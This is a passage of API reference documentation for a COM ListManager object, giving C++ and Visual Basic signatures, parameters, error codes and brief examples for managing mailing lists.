reslistName [C++]
[in] A BSTR that contains the new mailing list name.
reslistName [Visual Basic]
A String that contains the new mailing list name.
reslistDesc [C++]
[in] A BSTR that contains the description of the new mailing list.
reslistDesc [Visual Basic]
A String that contains the description of the new mailing list.
userFlags [C++]
[in] A long that contains application specific user flags. Not used by the ListManager object.
userFlags [Visual Basic]
A Long that contains application specific user flags. Not used by the ListManager object.
bAsync [C++]
[in] A BOOL that specifies whether the export operation is performed synchronously or asynchronously. A value of True indicates asynchronous processing.
bAsync [Visual Basic]
A Boolean that specifies whether the export operation is performed synchronously or asynchronously. A value of True indicates asynchronous processing.
pvarOpID [C++]
[out, optional] A pointer to a VARIANT used to return an Operation ID.
pvarOpID [Visual Basic]
An optional Variant used to return an Operation ID.
pvarID [C++]
[out, retval] A pointer to a VARIANT used to return the ID of the new list.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Variant that contains the ID of the new list.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
E_LM_LIST_ALREADY_EXISTS | [C++] 0x8C400007 [Visual Basic] &H8C400007 | The specified list has already been created.
E_LM_LIST_BUSY | [C++] 0x8C400008 [Visual Basic] &H8C400008 | The specified list is currently busy with another operation.
E_LM_LIST_IN_FAILED_STATE | [C++] 0x8C40001D [Visual Basic] &H8C40001D | The specified list is in a FAILED state and may not be used for the operation.
E_LM_LIST_NOT_FOUND | [C++] 0x8C400006 [Visual Basic] &H8C400006 | The specified list does not exist.
E_LM_MAILABLE_LIST_NO_EMAILS | [C++] 0x8C40000D [Visual Basic] &H8C40000D | The list is designated as a Mailable list but does not contain an rcp_email column.
E_LM_MAILABLE_REQUIRED | [C++] 0x8C400011 [Visual Basic] &H8C400011 | The operation requires a mailable list and the specified list is not a mailable list.
E_LM_OPER_CANCELED | [C++] 0x8C40000B [Visual Basic] &H8C40000B | The operation was canceled.
E_LM_SQLERROR | [C++] 0x8C400003 [Visual Basic] &H8C400003 | Error while executing SQL/ADO operation.
E_LM_USER_LIST_NO_GUIDS | [C++] 0x8C40000E [Visual Basic] &H8C40000E | The list is designated as a User list but does not contain an rcp_guid column.
OLE_E_BLANK | [C++] 0x80040007 [Visual Basic] &H80040007 | The ListManager object has not been properly initialized.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The source list must be a Mailable list (contains an rcp_email column). Any duplicate e-mail addresses are removed in the result list.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' vListID & pvarOpId are Variants
vListID = oListManager.ExtractMailingList("{454799A2-312B-4F5F-90A0-" & _
 "F514FBA0EC5A}", "TequilaBuyers1", "Tequilla buyers in January", 0, _
 True, pvarOpID)

See Also

[C++] ListManager Object

[Visual Basic] ListManager Object


IListManager::GetListFlags Method [C++]

ListManager.GetListFlags Method [Visual Basic]

Use this method to retrieve the flags attribute for a list.

Definition

[C++]
HRESULT IListManager::GetListFlags(
 VARIANT listID,
 long* plFlags
);
[Visual Basic]
Function GetListFlags(
 listID As Variant
) As Long

Parameters

listID [C++]
[in] A VARIANT that contains the ID or name of the list.
listID [Visual Basic]
A Variant that contains the ID of the ID or name of the list.
plFlags [C++]
[out, retval] A pointer to a long used to return the flags attribute.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Long that contains the flags attribute.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
E_LM_LIST_NOT_FOUND | [C++] 0x8C400006 [Visual Basic] &H8C400006 | The specified list does not exist.
E_LM_SQLERROR | [C++] 0x8C400003 [Visual Basic] &H8C400003 | Error while executing SQL/ADO operation.
OLE_E_BLANK | [C++] 0x80040007 [Visual Basic] &H80040007 | The ListManager object has not been properly initialized.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The following table lists the possible flag parameter values used to determine the type of list created. Values may be OR'ed together to specify more than one flag.

Type | Value | Description
DEFAULT | 0x0 | A Mailing list
HIDDEN | 0x1 | The list should not be exposed in the user interface
DYNAMIC | 0x2 | A dynamic list
USER | 0x4 | A User list (contains an rcp_guid column)
GENERIC | 0x8 | A Generic list
MAILABLE | 0x10 | A Mailable list (contains an rcp_email column)

See Also

[C++] ListManager Object

[Visual Basic] ListManager Object


IListManager::GetListId Method [C++]

ListManager.GetListId Method [Visual Basic]

Use this method to retrieve the ID of a list given the list name.

Definition

[C++]
HRESULT IListManager::GetListId(
  BSTR listName,
  VARIANT* pvarID
);
[Visual Basic]
Function GetListId(
  listName As String
) As Variant

Parameters

listName [C++]
[in] A BSTR that contains the list name.
listName [Visual Basic]
A String that contains the list name.
pvarID [C++]
[out, retval] A pointer to a VARIANT used to return the ID (a GUID) of the list.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Variant containing the ID (a GUID) of the list.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
E_LM_LIST_NOT_FOUND | [C++] 0x8C400006 [Visual Basic] &H8C400006 | The specified list does not exist.
E_LM_SQLERROR | [C++] 0x8C400003 [Visual Basic] &H8C400003 | Error while executing SQL/ADO operation.
OLE_E_BLANK | [C++] 0x80040007 [Visual Basic] &H80040007 | The ListManager object has not been properly initialized.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] ListManager Object

[Visual Basic] ListManager Object


IListManager::GetListName Method [C++]

ListManager.GetListName Method [Visual Basic]

Use this method to retrieve the name of a list given the list ID.

Definition

[C++]
HRESULT IListManager::GetListName(
  VARIANT listID,
  BSTR* plistName
);
[Visual Basic]
Function GetListName(
  listID As Variant
) As String

Parameters

listID [C++]
[in] A VARIANT that contains the list ID.
listID [Visual Basic]
A Variant that contains the list ID.
plistName [C++]
[out, retval] A pointer to a BSTR used to return the name of the list.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a String that contains the name of the list.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
E_LM_LIST_NOT_FOUND | [C++] 0x8C400006 [Visual Basic] &H8C400006 | The specified list does not exist.
E_LM_SQLERROR | [C++] 0x8C400003 [Visual Basic] &H8C400003 | Error while executing SQL/ADO operation.
OLE_E_BLANK | [C++] 0x80040007 [Visual Basic] &H80040007 | The ListManager object has not been properly initialized.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] ListManager Object

[Visual Basic] ListManager Object


IListManager::GetListProperty Method [C++]

ListManager.GetListProperty Method [Visual Basic]

Use this method to retrieve a property of a list.

Definition

[C++]
HRESULT IListManager::GetListProperty(
  VARIANT listID,
  BSTR listPropertyName,
  VARIANT* pvarListProp
);
[Visual Basic]
Function GetListProperty(
  listID As Variant,
  listPropertyName As String
) As Variant

Parameters

listID [C++]
[in] A VARIANT that contains the ID or name of the list.
listID [Visual Basic]
A Variant that contains the ID or name of the list.
listPropertyName [C++]
[in] A BSTR that contains the property name (column of the lm_master table).
listPropertyName [Visual Basic]
A String that contains the property name (column of the lm_master table).
pvarListProp [C++]
[out, retval] A pointer to a VARIANT used to return the value of the property.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Variant containing the value of the property.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
E_LM_LIST_NOT_FOUND | [C++] 0x8C400006 [Visual Basic] &H8C400006 | The specified list does not exist.
E_LM_SQLERROR | [C++] 0x8C400003 [Visual Basic] &H8C400003 | Error while executing SQL/ADO operation.
OLE_E_BLANK | [C++] 0x80040007 [Visual Basic] &H80040007 | The ListManager object has not been properly initialized.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] For information about the available list properties, see IListManager::GetLists.

[Visual Basic] For information about the available list properties, see ListManager.GetLists.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' vSource is a Variant
vSource = _
 oListManager.GetListProperty("{454799A2-312B-4F5F-90A0-F514FBA0EC5A}", _
 "list_source")

See Also

[C++] ListManager Object

[Visual Basic] ListManager Object


IListManager::GetLists Method [C++]

ListManager.GetLists Method [Visual Basic]

Use this method to enumerate all lists known to the ListManager object.

Definition

[C++]
HRESULT IListManager::GetLists(
 IDispatch** ppRecSet
);
[Visual Basic]
Function GetLists() As Object

Parameters

ppRecSet [C++]
[out, retval] The address of a pointer to the IDispatch interface of an ADO Recordset object used to return the details of the lists known to this instance of the ListManager object.

[Visual Basic] None.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns an ADO Recordset object that contains the details of the lists known to this instance of the ListManager object.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

This method returns an instance of a read-only ADO Recordset object that contains a record for each list in the ListManager object database. The Recordset object does not contain any lists that are not completely created at the time this method is invoked.

If there are not any lists completely created at the time this method is invoked, the method returns successfully, but the Recordset object is empty.

The following table describes the fields returned in the Recordset object.

Field | Type | Description
list_id | uniqueidentifier | Identification number of the list.
list_name | NVARCHAR [64] | Name of the list.
list_created | datetime | Date/time the list record was created.
list_creation_type | smallint | Method used to create the list. Legal values are: 1 - CreateFromFile 2 - CreateFromSQL 3 - CreateFromDWCalc 4 - CreateFromSegment 5 - Other (subtraction, union, extraction, etc.)
list_description | NVARCHAR [256] | List description.
list_err_limit | long | The error threshold for the list.
list_flags | int | Bit flags for the list. Can bitwise OR together to specify more than one flag. Legal values are: 0x0 - DEFAULT 0x1 - HIDDEN 0x2 - DYNAMIC 0x4 - USER 0x8 - GENERIC 0x10 - MAILABLE
list_location | NVARCHAR [256] | Location (table name) where the list data is stored.
list_query | NVARCHAR [1024] | Query used to create the list.
list_recent_operid | NVARCHAR [128] | ID of the most recent list operation. May be Null if the list is a new list created by the CreateEmpty method.
list_size | int | Number of rows in the list (-1 for dynamic lists).
list_source | NVARCHAR [512] | Name of the file, connection string, or filename used to create the list.
list_status | int | Status of the list. Legal values are: 1 - ready for processing 2 - being processed; other operations are not permitted 3 - failed
list_unique_emails | int | Number of unique rcp_email values in the list (-1 for dynamic lists).
list_unique_guids | int | Number of unique rcp_guid values in the list (-1 for dynamic lists).
list_userflags | int | Application specific. Not used by the ListManager object.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] ListManager Object

[Visual Basic] ListManager Object


IListManager::GetListUserFlags Method [C++]

ListManager.GetListUserFlags Method [Visual Basic]

Use this method to retrieve the UserFlags attribute for a list.

Definition

[C++]
HRESULT IListManager::GetListUserFlags(
 VARIANT listID,
 long* plUserFlags
);
[Visual Basic]
Function GetListUserFlags(
 listID As Variant
) As long

Parameters

listID [C++]
[in] A VARIANT that contains the ID or name of the list.
listID [Visual Basic]
A Variant that contains the ID of the ID or name of the list.
plUserFlags [C++]
[out, retval] A pointer to a long used to return the UserFlags attribute.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Long that contains the UserFlags attribute.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
E_LM_LIST_NOT_FOUND | [C++] 0x8C400006 [Visual Basic] &H8C400006 | The specified list does not exist.
E_LM_SQLERROR | [C++] 0x8C400003 [Visual Basic] &H8C400003 | Error while executing SQL/ADO operation.
OLE_E_BLANK | [C++] 0x80040007 [Visual Basic] &H80040007 | The ListManager object has not been properly initialized.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The UserFlags attributes are for use by applications external to the List Manager. The List Manager merely stores the flags that were passed in at the time a list was created and does not interpret the UserFlags attributes value in any way.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] ListManager Object

[Visual Basic] ListManager Object


IListManager::GetOperationInfo Method [C++]

ListManager.GetOperationInfo Method [Visual Basic]

Use this method to retrieve a Recordset object containing columns describing the specified list operation.

Definition

[C++]
HRESULT IListManager::GetOperationInfo(
  VARIANT varOpID,
  IDispatch** ppRecSet
);
[Visual Basic]
Function GetOperationInfo(
  varOpID As Variant
) As Object

Parameters

varOpID [C++]
[in] A VARIANT that contains the Operation ID.
varOpID [Visual Basic]
A Variant that contains the Operation ID.
ppRecSet [C++]
[out, retval] The address of a pointer to an IDispatch interface of a Recordset object used to return the operation information.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Recordset object containing the operation information.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] For more information about the returned Recordset object, see IListManager::GetOperations.

[Visual Basic] For more information about the returned Recordset object, see ListManager.GetOperations.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] ListManager Object

[Visual Basic] ListManager Object


IListManager::GetOperations Method [C++]

ListManager.GetOperations Method [Visual Basic]

Use this method to enumerate all operations known to the ListManager object.

Definition

[C++]
HRESULT IListManager::GetOperations(
 IDispatch** ppRecSet
);
[Visual Basic]
Function GetOperations() As Object

Parameters

ppRecSet [C++]
[out, retval] The address of a pointer used to return the IDispatch interface of an ADO Recordset object used to return information about the operations known to this instance of the ListManager object.

[Visual Basic] None.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns an ADO Recordset object that contains information about the operations known to this instance of the ListManager object.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

This method returns an instance of a read-only ADO Recordset object that contains a record for each operation in the ListManager object database. There is a record for every operation that has ever been run on lists currently in the database. When a list is deleted, all operations associated with that list are also deleted.

The following table describes the fields returned in the Recordset object.

Field | Type | Description
op_id | NVARCHAR[128] | A "token" that identifies the operation and can be passed to the CancelOperation method to terminate the operation.
op_desc | NVCHAR[256] | A user-friendly operation description.
op_error_code | int | HRESULT of last failure associated with the list.
op_error_desc | NVARCHAR[1024] | Description of the last failure associated with the list.
op_list_destination | Nvarchar(256) | List destination (Export type operations only).
op_list_id | uniqueidentifier | The list ID on which this operation is taking place.
op_list_id_a | uniqueidentifier | Additional column if the operation has multiple lists involved.
op_list_id_b | uniqueidentifier | Additional column if the operation has multiple lists involved.
op_list_param1 | int | Additional column which stores any extra parameters involved in the operation.
op_list_param2 | int | Additional column which stores any extra parameters involved in the operation.
op_list_table | nvarchar(256) | Tablename (ExportToSql type operations only).
op_progress | int | Unused.
op_status | smallint | Status of the operation. Legal values are: 0 - complete 1 - executing -1 - failed
op_time_end | datetime | Date/time the operation completed or was aborted.
op_time_start | datetime | Date/time the operation started.
op_type | int | The type of operation. Legal values are: 1 - CreateFromFile 2 - CreateFromSQL 3 - ExportToFile 4 - ExportToSQL 5 - Copy 6 - Subtract 7 - Union 8 - CreateFromDWCalc. 9 - CreateFromSegment 10 - ExtractMailingList 11 - Other (unclassified or temporary)

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] ListManager Object

[C++] IListManager::CancelOperation

[Visual Basic] ListManager Object

[Visual Basic] ListManager.CancelOperation


IListManager::Initialize Method [C++]

ListManager.Initialize Method [Visual Basic]

Use this method to initialize the ListManager object.

Definition

[C++]
HRESULT IListManager::Initialize(
 BSTR bstrConnStr,
);
[Visual Basic]
Sub Initialize(
 bstrConnStr As String,
)

Parameters

bstrConnStr [C++]
[in] A BSTR that contains the connection string for the database to which the List Manager will connect.
bstrConnStr [Visual Basic]
A String that contains the connection string for the database to which the List Manager will connect.
[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
E_LM_ALREADYINITIALIZED | [C++] 0x8C400002 [Visual Basic] &H8C400002 | The ListManager object has already been initialized and may not be re-initialized.
E_LM_CONNECTIONFAILED | [C++] 0x8C400001 [Visual Basic] &H8C400001 | Failed to establish database connection.
E_LM_SQLERROR | [C++] 0x8C400003 [Visual Basic] &H8C400003 | Error while executing SQL/ADO operation.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

Initialize the ListManager object before calling any other ListManager object method or property.

Initializing connects the ListManager object to a database. If the database does not contain the tables and procedures required by the ListManager object, they are created.

A ListManager object can be connected to only one database. To connect to a different database, instantiate a new ListManager object.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

oListManager.Initialize "Provider=sqloledb;" & _
 "Data Source=TequillaServer;Initial Catalog=Margaritas;" & _
 "Integrated Security='SSPI'"

See Also

[C++] ListManager Object

[C++] IListManager::ExportToSQL

[Visual Basic] ListManager Object

[Visual Basic] ListManager.ExportToSQL


IListManager::RemoveUserFromMailingList Method [C++]

ListManager.RemoveUserFromMailingList Method [Visual Basic]

Use this method to remove a user from a mailing list

Definition

[C++]
HRESULT IListManager::RemoveUserFromMailingList(
  VARIANT listID,
  BSTR UserEmail
);
[Visual Basic]
Sub RemoveUserFromMailingList(
  listID As Variant,
  UserEmail As String
)

Parameters

listID [C++]
[in] A VARIANT that contains the ID or name of the list.
listID [Visual Basic]
A Variant that contains the ID or name of the list.
UserEmail [C++]
[in] A BSTR that contains the e-mail address of the user.
UserEmail [Visual Basic]
A String that contains the e-mail address of the user.
[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
E_LM_LIST_BUSY | [C++] 0x8C400008 [Visual Basic] &H8C400008 | The specified list is currently busy with another operation.
E_LM_LIST_IN_FAILED_STATE | [C++] 0x8C40001D [Visual Basic] &H8C40001D | The specified list is in a FAILED state and may not be used for the operation.
E_LM_LIST_NOT_FOUND | [C++] 0x8C400006 [Visual Basic] &H8C400006 | The specified list does not exist.
E_LM_MAILABLE_LIST_NO_EMAILS | [C++] 0x8C40000D [Visual Basic] &H8C40000D | The list is designated as a Mailable list but does not contain an rcp_email column.
E_LM_MUST_BE_STATIC | [C++] 0x8C400019 [Visual Basic] &H8C400019 | The operation requires a static list and the specified list is dynamic.
E_LM_NOT_MAILING_LIST | [C++] 0x8C400018 [Visual Basic] &H8C400018 | The operation requires a Mailing list and the specified list is not a mailing list.
E_LM_SQLERROR | [C++] 0x8C400003 [Visual Basic] &H8C400003 | Error while executing SQL/ADO operation.
E_LM_USER_LIST_NO_GUIDS | [C++] 0x8C40000E [Visual Basic] &H8C40000E | The list is designated as a User list but does not contain an rcp_guid column.
OLE_E_BLANK | [C++] 0x80040007 [Visual Basic] &H80040007 | The ListManager object has not been properly initialized.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

oListManager.RemoveUserFromMailingList _
 "{454799A2-312B-4F5F-90A0-F514FBA0EC5A}", "JaneUser@somewhere.com"

See Also

[C++] ListManager Object

[Visual Basic] ListManager Object


IListManager::Rename Method [C++]

ListManager.Rename Method [Visual Basic]

Use this method to rename a list.

Definition

[C++]
HRESULT IListManager::Rename(
 VARIANT listID,
 BSTR newListName
);
[Visual Basic]
Sub Rename(
 listID As Variant,
 newListName As String
)

Parameters

listID [C++]
[in] A VARIANT that specifies the ID or name of the list to be renamed.
listID [Visual Basic]
A Variant that specifies the ID or name of the list to be renamed.
newListName [C++]
[in] A BSTR that contains the new name for the list.
newListName [Visual Basic]
A String that contains the new name for the list.
[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
E_LM_LIST_ALREADY_EXISTS | [C++] 0x8C400007 [Visual Basic] &H8C400007 | The specified list has already been created
E_LM_LIST_BUSY | [C++] 0x8C400008 [Visual Basic] &H8C400008 | The specified list is currently busy with another operation.
E_LM_LIST_IN_FAILED_STATE | [C++] 0x8C40001D [Visual Basic] &H8C40001D | The specified list is in a FAILED state and may not be used for the operation.
E_LM_LIST_NOT_FOUND | [C++] 0x8C400006 [Visual Basic] &H8C400006 | The specified list does not exist.
E_LM_SQLERROR | [C++] 0x8C400003 [Visual Basic] &H8C400003 | Error while executing SQL/ADO operation.
OLE_E_BLANK | [C++] 0x80040007 [Visual Basic] &H80040007 | The ListManager object has not been properly initialized.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The new name must not be the same as any existing list name.

[Visual Basic]

Example

oListManager.Rename "{454799A2-312B-4F5F-90A0-F514FBA0EC5A}", "Tequila"

See Also

[C++] ListManager Object

[Visual Basic] ListManager Object


IListManager::SetDesc Method [C++]

ListManager.SetDesc Method [Visual Basic]

Use this method to provide a new description for a list.

Definition

[C++]
HRESULT IListManager::SetDesc(
 VARIANT listID,
 BSTR newListDesc
);
[Visual Basic]
Sub SetDesc(
 listID As Variant,
 newListDesc As String
)

Parameters

listID [C++]
[in] A VARIANT that specifies the ID or name of the list.
listID [Visual Basic]
A Variant that specifies the ID or name of the list.
newListDesc [C++]
[in] A BSTR that contains the description to be associated with the list.
newListDesc [Visual Basic]
A String that contains the description to be associated with the list.
[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
E_LM_LIST_BUSY | [C++] 0x8C400008 [Visual Basic] &H8C400008 | The specified list is currently busy with another operation.
E_LM_LIST_IN_FAILED_STATE | [C++] 0x8C40001D [Visual Basic] &H8C40001D | The specified list is in a FAILED state and may not be used for the operation.
E_LM_LIST_NOT_FOUND | [C++] 0x8C400006 [Visual Basic] &H8C400006 | The specified list does not exist.
E_LM_SQLERROR | [C++] 0x8C400003 [Visual Basic] &H8C400003 | Error while executing SQL/ADO operation.
OLE_E_BLANK | [C++] 0x80040007 [Visual Basic] &H80040007 | The ListManager object has not been properly initialized.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

[Visual Basic]

Example

oListManager.SetDesc(listID, newListDesc)

See Also

[C++] ListManager Object

[Visual Basic] ListManager Object


IListManager::SetListProperty Method [C++]

ListManager.SetListProperty Method [Visual Basic]

Use this method to set a property of a list.

Definition

[C++]
HRESULT IListManager::SetListProperty(
  VARIANT listID,
  BSTR listPropertyName,
  VARIANT ListProp
);
[Visual Basic]
Sub SetListProperty(
  listID As Variant,
  listPropertyName As String,
  ListProp As Variant
)

Parameters

listID [C++]
[in] A VARIANT that contains the ID or name of the list.
listID [Visual Basic]
A Variant that contains the ID or name of the list.
listPropertyName [C++]
[in] A BSTR that contains the property name (column of the lm_master table).
listPropertyName [Visual Basic]
A String that contains the property name (column of the lm_master table).
ListProp [C++]
[in] A VARIANT that contains the value to set the property.
ListProp [Visual Basic]
A Variant that contains the value to set the property.
[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
E_LM_LIST_BUSY | [C++] 0x8C400008 [Visual Basic] &H8C400008 | The specified list is currently busy with another operation.
E_LM_LIST_IN_FAILED_STATE | [C++] 0x8C40001D [Visual Basic] &H8C40001D | The specified list is in a FAILED state and may not be used for the operation.
E_LM_LIST_MUST_BE_DYNAMIC | [C++] 0x8C400012 [Visual Basic] &H8C400012 | The operation requires a dynamic list and the specified list is not a dynamic list.
